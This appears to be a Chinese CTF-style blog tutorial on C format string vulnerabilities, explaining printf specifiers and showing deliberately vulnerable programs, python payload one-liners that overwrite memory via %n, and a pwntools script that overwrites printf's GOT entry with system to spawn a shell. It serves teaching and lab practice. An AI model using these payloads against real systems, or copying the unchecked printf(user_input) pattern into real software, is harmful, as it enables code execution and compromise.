menu Limu's Blog
详细了解格式化字符串漏洞
2549 浏览 | 2021-03-31 | 阅读时间: 约 8 分钟 | 分类: CTF | 标签:
请注意,本文编写于 199 天前,最后修改于 196 天前,其中某些信息可能已经过时。

格式化字符串函数介绍

它是一些程序设计语言在格式化输出API函数中用于指定输出参数的格式与相对位置的字符串参数,就比如我们常见的C语言中的print类的函数。通俗来说,格式化字符串函数就是将计算机内存中表示的数据转化成我们人类可以读的字符串格式。

常见的有格式化字符串函数

类型函数基本介绍
输入scanf输入到 stdin
输出printf输出到 stdout
输出fprintf输出到指定 FILE 流
输出vprintf根据参数列表格式化输出到 stdout
输出vfprintf根据参数列表格式化输出到指定 FILE 流
输出sprintf输出到字符串
输出snprintf输出指定字节数到字符串
输出vsprintf根据参数列表格式化输出到字符串
输出vsnprintf根据参数列表格式化输出指定字节到字符串
输出setproctitle设置 argv
输出syslog输出日志
输出err, verr, warn, vwarn 等

然后我们来了解一下格式化字符串的格式,其基本格式如下:

%[parameter][flags][field width][.precision][length]type

更多的parameter可以去Wiki中去学习(记得挂外网访问,狗头保命)。

漏洞的成因

pritnf作为c语言中的输出函数,其使用方式是填充两个参数,分别是格式化字符和变量即:printf(“格式化字符”,变量(指针、整形等变量));根据cdecl的调用约定,在进入printf()函数之前,将参数从右到左依次压栈。进入printf()之后,函数首先获取第一个参数,一次读取一个字符。如果字符不是%,字符直接复制到输出中。否则,将读取下一个非空字符,获取相应的参数并解析输出。(注意:% d%d 是一样的)

其中格式化字符有:
%c:输出字符,配上%n可用于向指定地址写数据。

%d:输出十进制整数,配上%n可用于向指定地址写数据。

%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。

%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。

%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。

%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100x%10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。

%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。

程序分析

这里我写一个简单的程序来更好的去理解格式化字符串漏洞:

#include<stdio.h>
void main() {
    printf("%s %d %s %x %x %x %x %x %x %3$s", "Hello World!", 233, "\n");
}

在这里,我有必要解释下,在64位和32位的程序下,格式化字符串的漏洞是有所不同的,在这里,我们将这个程序分别以64位和32位的生成方式去编译(已经关闭地址随机化):

这一个是32位的程序,我们可以看到除了从栈中依次输出的Hello World! 233、还有一个换行符,后面继续输出的内容是在栈中向高地址递增输出的内容,可以说32位的程序的printf函数是从栈中取值的。



而这个程序,我们根据其中的寄存器也可以看出来,这个是一个64位的程序,但是从其中输出的内容我们可以发现,它是依次从RDI,RSIRDXRCXR8R9这六个寄存器取值之后,再从栈中开始的取值,这也是64位程序和32位程序之间的一个区别。(注意:在Windows下前四个参数是通过RCXRDXR8R9来进行传递的)

漏洞利用

对于这个漏洞的利用大致分为崩溃程序查看栈内容读取任意地址内存(BROP的利用)、覆盖栈内容覆盖任意地址内存这五种,下面就开始分别的介绍下:

使程序崩溃

这里其实利用到了Linux中,村区无效的指针会引起进程受到SIGSEGV的信号,从而使程序非正常的终止并产生核心的转储,而这个漏洞通常是在程序崩溃的时候才会被发现,简单的利用办法:

printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")

因为不可能获取的每一个数字都是未保护的地址,所以就可以导致程序的崩溃。

查看栈内容/查看任意地址的内存

#include<stdio.h>
void main() {
    char format[128];
    int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
    char arg4[10] = "ABCD";
    scanf("%s", format);
    printf(format, arg1, arg2, arg3, arg4);
    printf("\n");
}

这个是《ctf-all-in》的书上的例子,关闭栈保护和pie,编译为32位的程序:

gcc -m32 -fno-stack-protector -no-pie fmt.c

看程序源码,最后输出的内容是输入的内容。如果我们想读取到arg4的内容,所以我们首先要看偏移,直接使用gdb调试这个程序,运行到scanf函数的时候,我们随便输入点内容,我们发现:

ABCD也就是arg4的内容存在与偏移为4的位置,所以我们重新执行程序,向程序中输入%4$s,发现输出的内容直接就是ABCD,也就是说我们成功的读取了arg4(栈上)的内容。
当然接着这个程序,我们可以尝试如何去获取我们输入的内容地址,例如输入:

我们发现在第13个地址的位置是我们输入AAAA的ASCII,看起来这个操作的用处不大,但是可以想一下,如果我们将某个函数的GOT地址传入,然后就可以获得该地址所对应的函数的虚拟地址,然后就可以根据函数在libc中的相对位置,计算出我们所需要的函数地址。

注意:我们在实际操作的过程中,会发现,有些输入的字符会被省略,【例如:x0c、x07('a')、x08('b')、x20(SPACE)】这些不可见的字符都会被省略,所以我们需要选择正确的地址去利用。
当然并非总能通过使用 4 字节的跳转(如 AAAA)来步进参数指针去引用格式字符串的起始部分,有时,需要在格式字符串之前加一个、两个或三个字符的前缀来实现一系列的 4 字节跳转。

覆盖栈内容/覆盖任意地址的内存

这里我们看一个实例:

#include<stdio.h>
void main() {
    int i;
    char str[] = "helloWorld";

    printf("%s %n\n", str, &i);
    printf("%d\n", i);
}

我们对他进行编译下,发现最后i被赋值为11,也就是str[]的长度,这是因为在遇到转换指示符之前一共写入了11个字符(helloWorld加一个空格),在没有长度修饰符的情况下,默认写入了一个int类型的值。

但是在正常的利用的时候,我们通常覆写的是一个比较大的数字,这个时候我们就需要通过使用具体的宽度或精度的转换规范来控制写入的字符个数,也就是利用诸如:%10u%n去进行一个精准的填充,这里我们再找到读取任意地址内存的那个程序:

#include<stdio.h>
void main() {
    char format[128];
    int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
    char arg4[10] = "ABCD";
    scanf("%s", format);
    printf(format, arg1, arg2, arg3, arg4);
    printf("\n");
}

我们来尝试将arg2的内容更改位任意值,通过调试我们可以看到arg2的地址是0xffffd688

所以我们需要覆盖的话,就需要构造shellcode:

python -c 'print("\x88\xd6\xff\xff"+"%08u%08u"+"%10d"+"%13$n")' > text

我们来解释下构造的shellcode,首先是地址(linux是小端序),然后填充了8+8+10+2个字节,所以加上前面的地址一共是32个字节(0x20),然后是后面的%13$n,表示格式字符串的第 13 个参数,然后我们调试下:

发现arg2的内容成功的修改成为了0x20。解释下这个shellcode:
首先printf函数首先解析%13$n,找到获得地址0xffffd6b4的值0xffffd688,然后跳转到地址0xffffd688,将其内容0x88888888覆盖为0x00000020,就得到arg2=0x00000020

注意:按照在《ctf-all-in-one》中:应该构造的是:

python -c 'print("\x88\xd6\xff\xff"+"%08u%08u"+"%12d"+"%13$n")' > text

但是经过实测,这样修改的内容是0x22,多了两个字节,然后我研究了一下,发现是%08u的问题,输入的%08u会自动在后面添加一个1字节的空格,可能是因为gcc版本的问题吧。

但是如果使用上面的办法,我们发现,我们只能覆盖值大于等于4的内存,所以我们如何去覆盖比4小的值呢,虽然可以利用整数溢出的办法,但是实践中大多数都不会成功的。所以我们可以把地址放在中间进行构造,使用这样的shellcode:AA%15$nA"+"\x88\xd6\xff\xff`,其中开头的AA占了两个字节,这样的话就是将地址赋值为2,中间是%15$n占据了5个字节,因为地址被放在了后面,也就是格式化字符串的第15个参数,后面跟一个A占用一个字节起到了8字节的对齐作用。
重新构造shellcode:

python -c 'print("AA%15$nA\x88\xd6\xff\xff")' > text

然后我们调试下:

发现arg2的值成功的被改成了0x00000020

当然,地址过大的话使用前面的办法会导致占用的内存空间太大,往往会覆盖掉其他重要的地址而产生错误。但是我们可以通过长度修饰符来更改写入值的大小:

char c;
short s;
int i;
long l;
long long ll;

printf("%s %hhn\n", str, &c);       // 写入单字节
printf("%s %hn\n", str, &s);        // 写入双字节
printf("%s %n\n", str, &i);         // 写入4字节
printf("%s %ln\n", str, &l);        // 写入8字节
printf("%s %lln\n", str, &ll);      // 写入16字节

我们来实战一下,还是使用这个程序,我们输入AAAABBBBCCCC,并且把他们对应的地址内容分别修改为\x89\x67\x45:

我们可以看到0xffffd6b4-0xffffd6bf的里面储存了AAAA、BBBB、CCCC,所以我们要构造一条shellcode:

python -c 'print("\xb4\xd6\xff\xff\xb8\xd6\xff\xff\xbc\xd6\xff\xff%125c%13$hhn%222c%14$hhn%222c%15$hhn")' > text

解释一下这个shellcode:
首先前四个部分是3个写入的地址,占了12个字节,后面的因为使用了hh所以就只会保留一个字节,0x89(12+125=137=0x89)、0x67(137+222=359=0x167)、0x45(359+222=581=0x245)。


成功修改!!!

注意事项: 首先是需要关闭整个系统的 ASLR 保护,这可以保证栈在 gdb 环境中和直接运行中都保持不变,但这两个栈地址不一定相同。
其次因为在gdb调试环境中的栈地址和直接运行程序是不一样的,所以我们需要结合格式化字符串漏洞读取内存,先泄露一个地址出来,然后根据泄露出来的地址计算实际地址。

工具介绍

pwntools中的pwnlib.fmtstr模块提供了字符串利用的工具,具体内容请参考相关的文档:
http://pwntools.readthedocs.io/en/stable/fmtstr.html

FmtStr提供了自动化的字符串漏洞利用:

  • execute_fmt (function):与漏洞进程进行交互的函数
  • offset (int):你控制的第一个格式化程序的偏移量
  • padlen (int):在 paylod 之前添加的 pad 的大小
  • numbwritten (int):已经写入的字节数

fmtstr_payload用于自动生成格式化字符串 paylod:

  • offset (int):你控制的第一个格式化程序的偏移量
  • writes (dict):格式为 {addr: value, addr2: value2},用于往 addr 里写入 value的值(常用:{printf_got})
  • numbwritten (int):已经由 printf 函数写入的字节数
  • write_size (str):必须是 byte,short 或 int。告诉你是要逐 byte 写,逐 short 写还是逐 int 写(hhn,hn或n)

我们这里在用《ctf-all-in-one》的例子来熟悉下模块的使用:

#include<stdio.h>
void main() {
    char str[1024];
    while(1) {
        memset(str, '\0', 1024);
        read(0, str, 1024);
        printf(str);
        fflush(stdout);
    }
}

当然,记得关闭ASLR,关闭PIE,关闭栈保护,这里把官方的exp贴出来吧:

# -*- coding: utf-8 -*-
from pwn import *

elf = ELF('./a.out')
r = process('./a.out')
libc = ELF('/usr/lib32/libc.so.6')

# 计算偏移量
def exec_fmt(payload):
    r.sendline(payload)
    info = r.recv()
    return info
auto = FmtStr(exec_fmt)
offset = auto.offset

# 获得 printf 的 GOT 地址
printf_got = elf.got['printf']
log.success("printf_got => {}".format(hex(printf_got)))

# 获得 printf 的虚拟地址
payload = p32(printf_got) + '%{}$s'.format(offset)
r.send(payload)
printf_addr = u32(r.recv()[4:8])
log.success("printf_addr => {}".format(hex(printf_addr)))

# 获得 system 的虚拟地址
system_addr = printf_addr - (libc.symbols['printf'] - libc.symbols['system'])
log.success("system_addr => {}".format(hex(system_addr)))

payload = fmtstr_payload(offset, {printf_got : system_addr})
r.send(payload)
r.send('/bin/sh')
r.recv()
r.interactive()
文章转载请注明limu

知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议

全部评论

info 评论功能已经关闭了呐!